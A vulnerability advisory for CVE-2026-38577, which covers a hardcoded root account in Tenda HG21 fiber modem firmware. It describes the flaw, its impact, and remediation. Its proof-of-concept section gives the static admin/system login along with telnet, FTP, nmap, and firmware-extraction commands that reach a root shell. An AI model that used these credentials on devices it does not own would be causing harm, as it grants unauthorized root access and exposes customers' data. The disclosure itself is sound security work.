CVE-2026-38577 — Tenda HG21 Hardcoded Root Credentials

Summary

Description

Firmware analysis of the Tenda HG21 XPON fiber modem revealed a hardcoded administrative account baked into the shipped firmware image. The account is granted full root privileges (UID 0) and its credentials are static across devices, meaning any attacker who can reach an exposed management service on a vulnerable unit can authenticate as root without needing to know the customer-set web-UI password.

Where it was found

• /etc/passwd in the extracted firmware ships an admin entry with a SHA256crypt password hash that resolves to the static value system.
• The account's UID is 0 — i.e., it is root, not a restricted service account.
• No /etc/shadow is present, so the weak/static hash in passwd is the only gate protecting the account.
• /etc/inetd.conf starts telnetd and ftpd, both spawned as root, so the hardcoded account is reachable over the network, not just on a serial/UART console.
• The web management interface is served over plain HTTP only (no TLS), which is a secondary hardening gap but not itself the CVE.

Impact

An attacker with network access to a vulnerable device's telnet (TCP/23) or FTP (TCP/21) service can log in as admin using the static password and obtain a root shell / root-level file access. This allows, at minimum:

• Code execution — root shell via telnet.
• Privilege escalation — no privilege boundary exists; the account starts at root.
• Information disclosure — full filesystem/config access, including any customer network credentials stored on the device.

CVSS vectors from the original submission (vendor scoring may differ once published):

• Attack Vector: Network
• Privileges Required: None (credentials are hardcoded/known)
• User Interaction: None
• Confidentiality / Integrity / Availability: High / High / High

Proof of Concept

This is a credential-based PoC — it demonstrates that the hardcoded account authenticates and grants root, not a memory-corruption exploit. Only run this against a device you own or are explicitly authorized to test.

1. Confirm the credential exists in firmware

# Extract firmware (binwalk or vendor tool of your choice)
binwalk -e US_HG21re_300002982_en_xpon_2.bin

# Locate and inspect the passwd file
find . -name passwd
cat squashfs-root/etc/passwd
# -> admin:<sha256crypt-hash-of-"system">:0:0:root:/root:/bin/sh

2. Confirm the service is reachable

nmap -p 21,23 <target-ip>

3. Authenticate with the hardcoded account

telnet <target-ip>
# login: admin
# password: system

ftp <target-ip>
# Name: admin
# Password: system

A successful login on either service returns a root-privileged shell/FTP session (id will report uid=0(root)).

Remediation

• Vendor should remove the hardcoded admin/system account entirely, or at minimum force a unique, per-device random password set at first boot (not derivable from serial number alone).
• Disable telnetd/ftpd by default; require an explicit opt-in and authenticated, encrypted channel (SSH/SFTP) for remote administration.
• Serve the management UI over HTTPS only.
• Rotate the static credential in any already-deployed units via a mandatory firmware update, and force a password reset on update.

Timeline

Credits

Discovered and reported by:

• Anmol Singh Rajput — LinkedIn
• Deepak G — LinkedIn

References

• https://www.tenda.com.cn
• https://cwe.mitre.org/data/definitions/798.html